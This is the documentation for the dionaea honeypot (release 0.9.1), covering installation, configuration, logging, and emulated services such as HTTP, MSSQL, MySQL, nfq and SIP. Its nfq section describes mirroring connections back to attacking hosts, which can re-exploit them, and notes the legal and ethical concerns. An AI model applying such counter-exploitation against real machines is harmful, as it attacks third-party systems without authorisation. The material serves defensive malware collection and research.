
dionaea Documentation

Release 0.9.1

dionaea

Nov 02, 2020

Contents

1	Introduction	3
1.1	How it works	3
1.2	Security	3
1.3	Network Connectivity	3
2	Installation	5
2.1	Basic stuff	5
2.2	Arch Linux	5
2.3	Ubuntu 16.04	6
2.4	Ubuntu 14.04	7
2.5	3rd-party packages	8
3	Migration	9
3.1	0.7.0 -> 0.8.0	9
4	Configuration	11
4.1	dionaea	13
4.2	Logging	13
4.3	Modules	14
4.4	Processors	14
5	Running dionaea	15
6	Integration	17
6.1	DTAG Community Honeypot Project	17
6.2	DionaeaFR	17
6.3	DIY with log_json	17
6.4	Modern Honey Network(mhn)	18
7	Modules	19
7.1	curl	19
7.2	emu	19
7.3	pcap	19
7.4	python	19
8	Service	21
8.1	Black hole	21

8.2	EPMAP	22
8.3	FTP	22
8.4	HTTP	22
8.5	Memache	24
8.6	Mirror	25
8.7	MongoDB	25
8.8	MQTT	25
8.9	MSSQL	25
8.10	MySQL	26
8.11	nfq	26
8.12	PPTP	28
8.13	SIP (VoIP)	29
8.14	SMB	32
8.15	TFTP	34
8.16	UPnP	34
9	Logging (ihandler)	37
9.1	emuprofile	37
9.2	fail2ban	38
9.3	ftp	38
9.4	hpfeeds	38
9.5	log_db_sql	39
9.6	log_incident	39
9.7	log_json	40
9.8	log_sqlite	41
9.9	nfq	42
9.10	pOf	43
9.11	s3	43
9.12	store	44
9.13	submit_http	44
9.14	submit_http_post	44
9.15	tftp_download	45
9.16	VirusTotal	45
10	Processors	47
10.1	Emu	47
10.2	Filter	47
10.3	Streamdumper	48
11	Contributing	49
11.1	Filing bug reports	49
11.2	Patches	49
11.3	Review	50
12	Licensing rules	51
12.1	License identifier syntax	51
12.2	Compliance check	52
13	Development	55
13.1	Development	55
13.2	Logging	56
13.3	Incident	57
14	Changelog	59
14.1	0.10.0 - (master)	59

14.2	0.9.1 - (2020-10-15)	59
14.3	0.9.0 - (2020-09-18)	59
14.4	0.8.0 - (2018-06-15)	60
14.5	0.7.0 - (2018-05-01)	61
14.6	0.6.0 - (2016-11-14)	62
14.7	0.5.1 - 2016-09-05	62
14.8	0.5.0 - 2016-08-06	63
14.9	0.4.2 - 2016-07-02	63
14.10	0.4.1 - 2016-06-14	64
14.11	0.4.0 - 2016-05-31	64
14.12	0.3.0 - 2016-03-30	64
14.13	0.2.1 - 2014-07-16	65
14.14	0.2.0 - 2013-11-02	65
14.15	0.1.0	65
15	FAQ	67
15.1	Build/Install	67
15.2	Run	68
16	Tips and Tricks	71
16.1	Rotate bistream files	71
17	Support	73
17.1	Cui honorem, honorem	73
17.2	Support	73
17.3	Links	74
18	Exploitation	75
18.1	Payloads	75
19	Downloads	77
20	Submit	79
21	Configuration - dionaea.conf	81
21.1	logging	81
21.2	modules	82
22	Utils	85
23	Segfault	87
24	Valgrind	89
25	Tips and Tricks	95
25.1	Configuration	95
25.2	Completion and History on the CLI	95
25.3	Triggering Downloads	95
25.4	ftp	96
25.5	tftp	96
25.6	http	96
25.7	incidents	96
25.8	dumping	96
25.9	emu profile	96
25.10	CreateProcess Commands	97
25.11	URLDownloadToFile	97

25.12 WinExec Commands	97
26 Indices and tables	99

Dionaea is meant to be a nepenthes successor, embedding python as scripting language, using libemu to detect shell-codes, supporting ipv6 and tls

Warning: The documentation is work in progress.
--

Content:

1.1 How it works

dionaea's intention is to trap malware exploiting vulnerabilities exposed by services offered to a network, the ultimate goal is gaining a copy of the malware.

1.2 Security

As Software is likely to have bugs, bugs in software offering network services can be exploitable, and dionaea is software offering network services, it is likely dionaea has exploitable bugs.

Of course we try to avoid it, but if nobody would fail when trying hard, we would not need software such as dionaea.

So, in order to minimize the impact, dionaea can drop privileges, and chroot.

To be able to run certain actions which require privileges, after dionaea dropped them, dionaea creates a child process at startup, and asks the child process to run actions which require elevated privileges. This does not guarantee anything, but it should be harder to get root access to the system from an unprivileged user in a chroot environment.

1.3 Network Connectivity

Given the software's intended use, network io is crucial. All network io is within the main process in a so called non-blocking manner. To understand nonblocking, imagine you have many pipes in front of you, and these pipes can send you something, and you can put something into the pipe. If you want to put something into a pipe, while it is crowded, you'd have to wait, if you want to get something from a pipe, and there is nothing, you'd have to wait too. Doing this pipe game non-blocking means you won't wait for the pipes to be write/readable, you'll get something off the pipes once data arrives, and write once the pipe is not crowded. If you want to write a large chunk to the pipe, and the pipe is crowded after a small piece, you note the rest of the chunk you wanted to write, and wait for the pipe to get ready.

DNS resolves are done using libudns, which is a neat non-blocking dns resolving library with support for AAAA records and chained cnames. So much about non-blocking.

dionaea uses libev to get notified once it can act on a socket, read or write.

dionaea can offer services via tcp/udp and tls for IPv4 and IPv6, and can apply rate limiting and accounting limits per connections to tcp and tls connections - if required.

CHAPTER 2

Installation

At the time of writing the best choice to install dionaea on a server is to use *Ubuntu 16.04*, but below you can find how to install it (from source) on other distributions/operating systems.

2.1 Basic stuff

2.1.1 Download the source code

You can download the source code from the [release page](#) or by using the git command.

```
git clone https://github.com/DinoTools/dionaea.git
cd dionaea
```

2.2 Arch Linux

Packages for dionaea are available from the Arch User Repository (AUR). Use a package manager like yaourt that can handle and install packages from the AUR.

Before you start install the required build tools.

```
$ yaourt -S base-devel
```

After the requirements have been installed successfully you can install dionaea. This will checkout the latest sources from the git repository, run the build process and install the package.

```
$ yaourt -S dionaea-git
```

After the installation has been completed you may want to edit the config file `/etc/dionaea/dionaea.conf`. If everything looks fine the dionaea service can be started by using the following command.

```
$ sudo systemctl start dionaea
```

The log files and everything captured can be found in the directory `/var/lib/dionaea/`.

2.3 Ubuntu 16.04

2.3.1 From Source

Before you start *download the source code* of dionaea.

Install required build dependencies before configuring and building dionaea. ('ttf-liberation' required to 'util/gnuplotsql.py')

```
sudo apt-get install \  
    build-essential \  
    cmake \  
    check \  
    cython3 \  
    libcurl4-openssl-dev \  
    libemu-dev \  
    libev-dev \  
    libglib2.0-dev \  
    libloudmouth1-dev \  
    libnetfilter-queue-dev \  
    libnl-3-dev \  
    libpcap-dev \  
    libssl-dev \  
    libtool \  
    libudns-dev \  
    python3 \  
    python3-dev \  
    python3-bson \  
    python3-yaml \  
    python3-boto3 \  
    ttf-liberation
```

After all dependencies have been installed successfully create a build directory and run `cmake` to setup the build process.

```
mkdir build  
cd build  
cmake -DCMAKE_INSTALL_PREFIX:PATH=/opt/dionaea ..
```

Now you should be able to run `make` to build and run `make install` to install the honeypot.

```
make  
sudo make install
```

The new honeypot can be found in the directory `/opt/dionaea`.

2.4 Ubuntu 14.04

2.4.1 Package based

Nightly packages are provided in a Personal Package Archive (PPA). Before you start you should update all packages to get the latest security updates.

```
$ sudo apt-get update
$ sudo apt-get dist-upgrade
```

First of all install the tools to easily manage PPA resources.

```
$ sudo apt-get install software-properties-common
```

After the required tools have been installed you can add the PPA and update the package cache.

```
$ sudo add-apt-repository ppa:honeydew/nightly
$ sudo apt-get update
```

If everything worked without any errors you should be able to install the dionaea package.

```
$ sudo apt-get install dionaea
```

After the installation has been completed you may want to edit the config file `/etc/dionaea/dionaea.conf`. If everything looks fine the dionaea service can be started by using the following command.

```
$ sudo service dionaea start
```

The log files can be found in the directory `/var/log/dionaea/` and everything else captured and logged by the honeypot can be found in the directory `/var/lib/dionaea/`.

2.4.2 From Source

Before you start *download the source code* of dionaea.

Install required build dependencies before configuring and building dionaea.

```
$ sudo apt-get install \
    build-essential \
    check \
    cmake3 \
    cython3 \
    libcurl4-openssl-dev \
    libemu-dev \
    libev-dev \
    libglib2.0-dev \
    libloudmouth1-dev \
    libnetfilter-queue-dev \
    libnl-dev \
    libpcap-dev \
    libssl-dev \
    libtool \
    libudns-dev \
    python3 \
    python3-dev \
```

(continues on next page)

(continued from previous page)

```
python3-bson \
python3-yaml \
python3-boto3
```

After all dependencies have been installed successfully create a build directory and run `cmake` to setup the build process.

```
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX:PATH=/opt/dionaea ..
```

Now you should be able to run `make` to build and run `make install` to install the honeypot.

```
make
sudo make install
```

The new honeypot can be found in the directory `/opt/dionaea`.

2.5 3rd-party packages

The packages below are 3rd party provided, which is appreciated. If you have compiled a package for your own distribution, just send me the link or make a pull request.

We try to provide some information on how to upgrade from one version to the next. Please also have a look at the [Changelog](#) for additional information.

3.1 0.7.0 -> 0.8.0

Config

- IPv4 mapped IPv6 is now disabled by default

Path

During the steps from autotools to cmake nearly all log and data directories have been changed. But it should be possible to keep the old config files and also use the old directories.

Assuming dionaea 0.7.0 and 0.8.0 have been installed into `/opt/dionaea``

- `/opt/dionaea/var/dionaea/binaries/` `/opt/dionaea/var/lib/dionaea/binaries/`
- `/opt/dionaea/var/dionaea/bistreams/` `-> /opt/dionaea/var/lib/dionaea/bistreams/`
- `/opt/dionaea/var/dionaea/dionaea.db` `-> /opt/dionaea/var/lib/dionaea/dionaea.db`
- `/opt/dionaea/var/dionaea/dionaea.json` `-> /opt/dionaea/var/lib/dionaea/dionaea.json`
- `/opt/dionaea/var/dionaea/dionaea.log` `-> /opt/dionaea/var/log/dionaea/dionaea.log`
- `/opt/dionaea/var/dionaea/dionaea.sqlite` `-> /opt/dionaea/var/lib/dionaea/dionaea.sqlite`
- `/opt/dionaea/var/dionaea/dionaea_incident.json` `-> /opt/dionaea/var/lib/dionaea/dionaea_incident.json`
- `/opt/dionaea/var/dionaea/dionaea-errors.log` `-> /opt/dionaea/var/log/dionaea/dionaea-errors.log`
- `/opt/dionaea/var/dionaea/downloads.f2b` `-> /opt/dionaea/var/lib/dionaea/fail2ban/downloads.f2b`
- `/opt/dionaea/var/dionaea/offers.f2b` `-> /opt/dionaea/var/lib/dionaea/fail2ban/offers.f2b`
- `/opt/dionaea/var/dionaea/roots/ftp/` `-> /opt/dionaea/var/lib/dionaea/ftp/root/`

- `/opt/dionaea/var/dionaea/roots/tftp/ -> /opt/dionaea/var/lib/dionaea/tftp/root/`
- `/opt/dionaea/var/dionaea/roots/upnp/ -> /opt/dionaea/var/lib/dionaea/upnp/root/`
- `/opt/dionaea/var/dionaea/roots/www/ -> /opt/dionaea/var/lib/dionaea/www/root/`
- `/opt/dionaea/var/dionaea/share/python/http/template/ -> /opt/dionaea/var/lib/dionaea/http/template/`
- `/opt/dionaea/var/dionaea/sipaccounts.sqlite -> /opt/dionaea/var/lib/dionaea/sip/accounts.sqlite`
- `/opt/dionaea/var/dionaea/vtcache.sqlite -> /opt/dionaea/var/lib/dionaea/vtcache.sqlite`

CHAPTER 4

Configuration

If you want to change the software, it is really important to understand how it works, therefore please take the time to how it works. `dionaea.cfg` is the main configuration file. In the example below you can see the default configuration.

Listing 1: `dionaea.cfg`

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

[dionaea]
download.dir=@DIONAEA_STATEDIR@/binaries/
#modules=curl,python,nfq,emu,pcap
modules=curl,python,emu
processors=filter_streamdumper,filter_emu

listen.mode=getifaddrs
# listen.addresses=127.0.0.1
# listen.interfaces=eth0,tap0

# Use IPv4 mapped IPv6 addresses
# It is not recommended to use this feature, try to use nativ IPv4 and IPv6 adresses
# Valid values: true/false
# listen.use_ipv4_mapped_ipv6=false

# Country
# ssl.default.c=GB
# Common Name/domain name
# ssl.default.cn=
# Organization
# ssl.default.o=
# Organizational Unit
# ssl.default.ou=

[logging]
```

(continues on next page)

(continued from previous page)

```

default.filename=@DIONAEA_LOGDIR@/dionaea.log
default.levels=all
default.domains=*

errors.filename=@DIONAEA_LOGDIR@/dionaea-errors.log
errors.levels=warning,error
errors.domains=*

[processor.filter_emu]
name=filter
config.allow.0.protocols=smbd,epmapper,nfqmirrord,mssqld
next=emu

[processor.filter_streamdumper]
name=filter
config.allow.0.types=accept
config.allow.1.types=connect
config.allow.1.protocols=ftpctrl
config.deny.0.protocols=ftpdata,ftpdatacon,xmppclient
next=streamdumper

[processor.streamdumper]
name=streamdumper
config.path=@DIONAEA_STATEDIR@/bistreams/%Y-%m-%d/

[processor.emu]
name=emu
config.limits.files=3
#512 * 1024
config.limits.filesize=524288
config.limits.sockets=3
config.limits.sustain=120
config.limits.idle=30
config.limits.listen=30
config.limits.cpu=120
#// 1024 * 1024 * 1024
config.limits.steps=1073741824

[module.nfq]
queue=2

[module.nl]
# set to yes in case you are interested in the mac address of the remote (only works
↳ for lan)
lookup_ethernet_addr=no

[module.python]
imports=dionaea.log,dionaea.services,dionaea.ihandlers
sys_paths=default
service_configs=@DIONAEA_CONFDIR@/services-enabled/*.yaml
ihandler_configs=@DIONAEA_CONFDIR@/ihandlers-enabled/*.yaml

[module.pcap]
any.interface=any

```

4.1 dionaea

download.dir

Global download directory used by some *ihandlers*.

listen.mode:

There are basically three modes how dionaea can bind the services to IP addresses.

- **getifaddrs - auto** This will get a list of all IP addresses of all available interfaces and bind the services to each IP. It is also possible to specify a list of interfaces to use by using the `listen.interfaces` parameter.
- **manual - your decision** In this mode you have to specify an additional parameter `listen.addresses`. This is a comma separated list of IP addresses dionaea should bind the services to.
- **nl, will require a list of interfaces** You have to specify a comma separated list of interfaces names with the `listen.interfaces` parameter. If an IP address is added to an interfaces or removed from an interface dionaea will lunch or stop all services for this IP.

modules

Comma separated list of *modules*.

processors

Comma separated list of *processors*.

ssl.default.c

Two letter id of the Country.

ssl.default.cn

The Common Name/domain name of the generated SSL/TLS certificate.

ssl.default.o

The Organization name.

ssl.default.ou

The name of the Organizational Unit.

4.2 Logging

dionaea has a general application log. This logs are ment to be used for debugging and to track errors. It is not recommended to analyse this files to track attacks.

filename

The filename of the logfile.

levels

Only log messages that match the specified log level get logged to the logfile.

Available log levels:

- debug
- info

- warning
- error
- critical
- all = Special log level including all log levels

Examples:

Log only messages with level warning and error

```
errors.levels=warning,error
```

Log all log messages but exclude messages with log level debug

```
errors.levels=all,-debug
```

domain

Only log messages in a specified domain.

4.3 Modules

Only modules specified by the `modules` value in the `dionaea` section are loaded during the start up.

Every module might have its own config section with additional config parameters. The section name consists of the prefix `module` and the module name speratated by a dot(.).

See the [Modules](#) documentation to find more information on how to configure the modules.

4.4 Processors

The specified processors will be used as an entry point in the processing pipeline. In most cases the initial processor will be a `filter processor` `<processor/filter>`. The next processor in the pipeline is specified by the `next` parameter.

See the [Processors](#) documentation to find more information on how to configure the processors.

Running dionaea

The software has some flags you can provide at startup, the `-h` flag shows the help, the `-H` includes the default values.

```
$ /opt/dionaea/bin/dionaea -H
  -c, --config=FILE           use FILE as configuration file
                              Default value/behaviour: /opt/dionaea/etc/dionaea/
                              ↪ dionaea.cfg
  -D, --daemonize             run as daemon
  -g, --group=GROUP           switch to GROUP after startup (use with -u)
                              Default value/behaviour: keep current group
  -G, --garbage=[collect|debug] garbage collect, usefull to debug memory leaks,
                              does NOT work with valgrind
  -h, --help                  display help
  -H, --large-help            display help with default values
  -l, --log-levels=WHAT       which levels to log, valid values
                              all, debug, info, message, warning, critical, error
                              combine using ',', exclude with - prefix
  -L, --log-domains=WHAT     which domains use * and ? wildcards, combine using
                              ↪ ',',
                              exclude using -
  -u, --user=USER            switch to USER after startup
                              Default value/behaviour: keep current user
  -p, --pid-file=FILE        write pid to file
  -r, --chroot=DIR           chroot to DIR after startup
                              Default value/behaviour: don't chroot
  -V, --version              show version
  -w, --workingdir=DIR       set the process' working dir to DIR
                              Default value/behaviour: /opt/dionaea

examples:
  # dionaea -l all,-debug -L '*'
  # dionaea -l all,-debug -L 'con*,py*'
  # dionaea -u nobody -g nogroup -w /opt/dionaea -p /opt/dionaea/var/run/dionaea.pid
```


A list of applications and tools to collect information exported by dionaea.

6.1 DTAG Community Honeypot Project

The [DTAG Community Honeypot Project](#) has been started in 2010 by a small group of enthusiasts of the [Deutsche Telekom](#). They are maintaining T-Pot a Multi-Honeypot Platform. It is based on well established honeypots including dionaea.

- Website: [DTAG Community Honeypot Project](#)
- Status: active

6.2 DionaeaFR

[DionaeaFR](#) is a web-frontend to display attack information. It uses the SQLite database provided by the `log_sqlite` ihandler.

- Website: [DionaeaFR](#)
- Status: unmaintained since 2014

6.3 DIY with log_json

You can use the `log_json` incident handler in combination with an [ELK stack](#) to collect, aggregate and visualize attack information.

- Website: [ELK stack](#)
- Status: active

6.4 Modern Honey Network(mhn)

A tool to deploy honeypots, collect attack information and display aggregated statistics.

- Website: [Modern Honey Network](#)
- Status: active, but deploys an pre 0.2(2014) version of dionaea by default.

The subsections name is the name of the module dionaea will try to load, most modules got rather simplistic names, the pcap module will use libpcap, the curl module libcurl, the emu module libemu ... The python module is special, as the python module can load python scripts, which offer services, and each services can have its own options.

List of available modules

7.1 curl

The curl module is used to transfer files from and to servers, it is used to download files via http as well as submitting files to 3rd parties.

7.2 emu

The emu module is used to detect, profile and - if required - execute shellcode.

7.3 pcap

The pcap module uses the libpcap library to detect rejected connection attempts, so even if we do not accept a connection, we can use the information somebody wanted to connect there.

7.4 python

The python module allows using the python interpreter in dionaea, and allows controlling some scripts dionaea uses

Network services speak a certain language, this language is called protocol. When we started deploying honeypots, you could trap worms just by opening a single port, and wait for them to connect and send you an url where you could download a copy of the worm. The service getting attacked was the backdoor of the bagle mailworm, and it did not require and interaction. Later on, the exploitations of real services got more complex, and you had to reply something to the worm to fool him. Nowadays worms use API to access services, before sending their payload. To allow easy adjustments to the procotol, dionaea implements the protocols in python. There is a glue between the network layer which is done in the c programming language and the embedded python scripting language, which allows using the non-blocking connections in python. This has some benefits, for example we can use non-blocking tls connections in python, and we even get rate limiting on them (if required), where pythons own io does not offer such things. On the other hand, it is much more comfortable to implement protocols in python than doing the same in c.

List of available services

8.1 Black hole

The black hole module can be used to bind a service to a port. The service does not respond to any submitted data. But the bistreams can be used to create new modules.

8.1.1 Example config

Listing 1: services/blackhole.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: blackhole
  config:
    services:
      # Telnet
      - port: 23
```

(continues on next page)

(continued from previous page)

```
protocol: tcp

# DNS
- port: 53
  protocol: udp
- port: 53
  protocol: tcp

# NTP
- port: 123
  protocol: udp
```

8.2 EPMAP

8.2.1 Example config

Listing 2: services/epmap.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: epmap
```

8.3 FTP

Dionaea provides a basic ftp server on port 21, it can create directories and upload and download files. From my own experience there are very little automated attacks on ftp services and I'm yet to see something interesting happening on port 21.

8.3.1 Example config

Listing 3: services/ftp.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: ftp
  config:
    root: "@DIONAEA_STATEDIR@/ftp/root"
    response_messages:
      welcome_msg: 220 DiskStation FTP server ready.
```

8.4 HTTP

Dionaea supports http on port 80 as well as https, but there is no code making use of the data gathered on these ports. For https, the self-signed ssl certificate is created at startup.

8.4.1 Configure

Example configuration:

```
- name: http
  config:
    root = "var/dionaea/wwwroot"
```

default_headers

Default header fields are send if none of the other header patterns match.

global_headers

Global header fields are added to all response headers.

headers

List of header fields to be used in the response header. Only applied if filename_pattern, status_code and methods match. The first match in the list is used.

max_request_size

Maximum size in kbytes of the request. 32768 = 32MB

root

The root directory so serve files from.

8.4.2 Example config

Listing 4: services/http.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: http
  config:
    root: "@DIONAEA_STATEDIR@/http/root"
    ports:
      - 80
    ssl_ports:
      - 443
    max_request_size: 32768 # maximum size in kbytes of the request (32MB)
    global_headers:
      - ["Server", "nginx"]
    headers:
      - filename_pattern: ".*\\.php"
        headers:
          - ["Content-Type", "text/html; charset=utf-8"]
          - ["Content-Length", "{content_length}"]
          - ["Connection", "{connection}"]
          - ["X-Powered-By", "PHP/5.5.9-lubuntu4.5"]
    # soap_enabled: false
    template:
      # set to true to enable template processing
      # this feature requires jinja2 template engine http://jinja.pocoo.org/
      enabled: false
      file_extension: .j2
```

(continues on next page)

(continued from previous page)

```
path: "@DIONAEA_STATEDIR@/http/template/nginx"
templates:
  autoindex:
    filename: autoindex.html.j2
  error_pages:
    - filename: error.html.j2
      # - filename: error/{code}.html.j2
  # used to specify additional template values
  values:
    # full_name: nginx/1.1
```

8.4.3 Additional examples

Set the Server response field.

```
- name: http
  config:
    global_headers:
      - ["Server", "nginx"]
```

Define headers to use if the filename matches a pattern.

```
- name: http
  config:
    headers:
      - filename_pattern: ".*\\.php"
        headers:
          - ["Content-Type", "text/html; charset=utf-8"]
          - ["Content-Length", "{content_length}"]
          - ["Connection", "{connection}"]
          - ["X-Powered-By", "PHP/5.5.9-lubuntu4.5"]
```

8.5 Memache

Dionaea can emulate a very basic memcached server.

8.5.1 Configure

8.5.2 Example config

Listing 5: services/memcache.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: memcache
```

8.6 Mirror

8.6.1 Example config

Listing 6: services/mirror.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: mirror
```

8.7 MongoDB

This module add initial support to emulates a *MongoDB* server with the dionaea honeypot. At the moment it is very limited and the functionality might be improved in one of the next releases.

8.7.1 Requirements

- bson module for Python 3

8.7.2 Example config

Listing 7: services/mongo.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: mongo
```

8.8 MQTT

8.8.1 Example config

Listing 8: services/mqtt.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: mqtt
```

8.9 MSSQL

This module implements the Tabular Data Stream protocol which is used by Microsoft SQL Server. It listens to tcp/1433 and allows clients to login. It can decode queries run on the database, but as there is no database, dionaea can't reply, and there is no further action. Typically we always get the same query:

```
exec sp_server_info 1 exec sp_server_info 2 exec sp_server_info 500 select 501,NULL,1,
↪where 'a'='A' select 504,c.name,c.description,c.definition from master.dbo.
↪syscharsets c,master.dbo.syscharsets cl,master.dbo.sysconfigures f where f.
↪config=123 and f.value=c1.id and cl.csid=c.id set textsize 2147483647 set
↪arithabort on
```

Refer to the blog <http://carnivore.it/2010/09/11/mssql_attacks_examined> for more information. Patches would be appreciated.

8.9.1 Example config

Listing 9: services/mssql.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: mssql
```

8.10 MySQL

This module implements the MySQL wire stream protocol - backed up by sqlite as database. Please refer to 2011-05-15 Extending Dionaea <http://carnivore.it/2011/05/15/extending_dionaea> for more information.

8.10.1 Example config

Listing 10: services/mysql.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: mysql
  config:
    databases:
      information_schema:
        path: ":memory:"
        # example how to extend this
        # just provide a databasename and path to the database
        # the database can be altered by attackers, so ... better use a copy
#     psn:
#       path: "/path/to/cc_info.sqlite"
```

8.11 nfq

The python nfq script is the counterpart to the nfq module. While the nfq module interacts with the kernel, the nfq python script takes care of the required steps to start a new service on the ports. nfq can intercept incoming tcp connections during the tcp handshake giving your honeypot the possibility to provide service on ports which are not served by default.

As dionaea can not predict which protocol will be spoken on unknown ports, neither implement the protocol by itself, it will connect the attacking host on the same port, and use the attackers server side protocol implementation to reply

to the client requests of the attacker therefore dionaea can end up re?exploiting the attackers machine, just by sending him the exploit he sent us.

The technique is a brainchild of Tillmann Werner, who used it within his honeytrap <<http://honeytrap.carnivore.it>> honeypot. Legal boundaries to such behaviour may be different in each country, as well as ethical boundaries for each individual. From a technical point of view it works, and gives good results. Learning from the best, I decided to adopt this technique for dionaea. Besides the legal and ethical issues with this approach, there are some technical things which have to be mentioned

port scanning

If your honeypot gets port scanned, it would open a service for each port scanned, in worst case you'd end up with offering 64k services per ip scanned. By default you'd run out of fds at about 870 services offered, and experience weird behaviour. Therefore the impact of port scanning has to be limited. The kiss approach taken here is a sliding window of *throttle.window* seconds size. Each slot in this sliding window represents a second, and we increment this slot for each connection we accept. Before we accept a connection, we check if the sum of all slots is below *throttle.limits.total*, else we do not create a new service. If the sum is below the limit, we check if the current slot is below the slot limit too, if both are given, we create a new service. If one of the condition fails, we do not spawn a new service, and let nfqueue process the packet. There are two ways to process packets which got throttled:

- **NF_ACCEPT** (=1), which will let the packet pass the kernel, and as there is no service listening, the packet gets rejected.
- **NF_DROP** (=0), which will drop the packet in the kernel, the remote does not get any answer to his SYN.

I prefer NF_DROP, as port scanners such as nmap tend to limit their scanning speed, once they notice packets get lost.

recursive-self-connecting

Assume some shellcode or download instructions makes dionaea to

- connect itself on a unbound port
- nfq intercepts the attempt
- spawns a service
- accepts the connection #1
- creates mirror connection for connection #1 by connecting the remotehost (itself) on the same port #2
- accepts connection #2 as connection #3
- creates mirror connection for connection #3 by connecting the remotehost (itself) on the same port #4
- ...

Such recursive loop, has to be avoided for obvious reasons. Therefore dionaea checks if the remote host connecting a nfq mirror is a local address using 'getifaddrs' and drops local connections.

So much about the known problems and workarounds ...

If you read that far, you want to use it despite the technical/legal/ethical problems. So ... You'll need iptables, and you'll have to tell iptables to enqueue packets which would establish a new connection. I recommend something like this:

```
iptables -t mangle -A PREROUTING -i eth0 -p tcp -m socket -j ACCEPT
iptables -t mangle -A PREROUTING -i eth0 -p tcp --syn -m state --state NEW -j NFQUEUE_
--queue-num 5
```

(continues on next page)

(continued from previous page)

Explanation:

1. ACCEPT all connections to existing services
2. enqueue all other packets to the NFQUEUE

If you have dionaea running on your NAT router, I recommend something like:

```
iptables -t mangle -A PREROUTING -i ppp0 -p tcp -m socket -j ACCEPT
iptables -t mangle -A PREROUTING -i ppp0 -p tcp --syn -m state --state NEW -j MARK --
  ↳ set-mark 0x1
iptables -A INPUT -i ppp0 -m mark --mark 0x1 -j NFQUEUE
```

Explanation:

1. ACCEPT all connections to existing services in mangle::PREROUTING
2. MARK all other packets
3. if we see these marked packets on INPUT, queue them

Using something like:

```
iptables -A INPUT -p tcp --tcp-flags SYN,RST,ACK,FIN SYN -j NFQUEUE --queue-num 5
```

will enqueue /all/ SYN packets to the NFQUEUE, once you stop dionaea you will not even be able to connect to your ssh daemon.

Even if you add an exemption for ssh like:

```
iptables -A INPUT -i eth0 -p tcp --syn -m state --state NEW --destination-port ! 22 -
  ↳ j NFQUEUE
```

dionaea will try to create a new service for /every/ incoming connection, even if there is a service running already. As it is easy to avoid this, I recommend sticking with the recommendation. Besides the already mention throttle settings, there are various timeouts for the nfq mirror service in the config. You can control how long the service will wait for new connections (/timeouts.server.listen/), and how long the mirror connection will be idle (/timeouts.client.idle/) and sustain (/timeouts.client.sustain/).

8.12 PPTP

8.12.1 Example config

Listing 11: services/pptp.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: pptp
  config:
# Cisco PIX
#   firmware_revision: 4608
#   hostname:
#   vendor_name: Cisco Systems
```

(continues on next page)

(continued from previous page)

```
# DrayTek
#   firmware_revision: 1
#   hostname: Vigor
#   vendor_name: DrayTek

# Linux
#   firmware_revision: 1
#   hostname: local
#   vendor_name: linux

# Windows
#   firmware_revision: 0
#   hostname:
#   vendor_name: Microsoft

# MikroTik router
#   firmware_revision: 1
#   hostname: MikroTik
#   vendor_name: MikroTik
```

8.13 SIP (VoIP)

This is a VoIP module for the honeypot dionaea. The VoIP protocol used is SIP since it is the de facto standard for VoIP today. In contrast to some other VoIP honeypots, this module doesn't connect to an external VoIP registrar/server. It simply waits for incoming SIP messages (e.g. OPTIONS or even INVITE), logs all data as honeypot incidents and/or binary data dumps (RTP traffic), and reacts accordingly, for instance by creating a SIP session including an RTP audio channel. As sophisticated exploits within the SIP payload are not very common yet, the honeypot module doesn't pass any code to dionaea's code emulation engine. This will be implemented if we spot such malicious messages. The main features of the VoIP module are:

- Support for most SIP requests (OPTIONS, INVITE, ACK, CANCEL, BYE)
- Support for multiple SIP sessions and RTP audio streams
- Record all RTP data (optional)
- Set custom SIP username and secret (password)
- Set custom useragent to mimic different phone models
- Uses dionaea's incident system to log to SQL database

8.13.1 Personalities

A personality defines how to handle a request. At least the 'default' personality MUST exist. The following options are available per personality.

serve

A list of IP addresses to use this personality for.

handle

List of SIP methods to handle.

8.13.2 SIP Users

You can easily add, change or remove users by editing the SQLite file specified by the ‘users = “”’ parameter in the config file. All users are specified in the users table.

username

Specifies the name of the user. This value is treated as regular expression. See Python: Regular Expressions <<http://docs.python.org/py3k/library/re.html>> for more information.

password

The password.

personality

The user is only available in the personality specified by this value. You can define a personality in the config file.

pickup_delay_min

This is an integer value. Let the phone ring for at least this number of seconds.

pickup_delay_max

This is an integer value. Maximum number of seconds to wait before dionaea picks up the phone.

action

This value isn’t in use, yet.

sdp

The name of the SDP to use. See table ‘sdp’.

8.13.3 SDP

All SDPs can be defined in the sdp table in the users database.

name

Name of the SDP

sdp

The value to use as SDP

The following values are available in the SDP definition.

{addrtype}

Address type. (IP4 or IP6)

{unicast_address}

RTP address

{audio_port}

Dionaea audio port.

{video_port}

Dionaea video port.

The following control parameters are available in the SDP definition.

[audio_port]...content...[/audio_port]

The content is only available in the output if the audio_port value is set.

[video_port]...content...[/video_port]

The content is only available in the output if the video_port value is set.

Example:

```
v=0
o=- 1304279835 1 IN {addrtype} {unicast_address}
s=SIP Session
c=IN {addrtype} {unicast_address}
t=0 0
[audio_port]
m=audio {audio_port} RTP/AVP 111 0 8 9 101 120
a=sendrecv
a=rtpmap:111 Speex/16000/1
a=fmtp:111 sr=16000,mode=any
a=rtpmap:0 PCMU/8000/1
a=rtpmap:8 PCMA/8000/1
a=rtpmap:9 G722/8000/1
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-16,32,36
a=rtpmap:120 NSE/8000
a=fmtp:120 192-193
[/audio_port]
[video_port]
m=video {video_port} RTP/AVP 34 96 97
c=IN {addrtype} {unicast_address}
a=rtpmap:34 H263/90000
a=fmtp:34 QCIF=2
a=rtpmap:96 H263-1998/90000
a=fmtp:96 QCIF=2
a=rtpmap:97 H263-N800/90000
[/video_port]
```

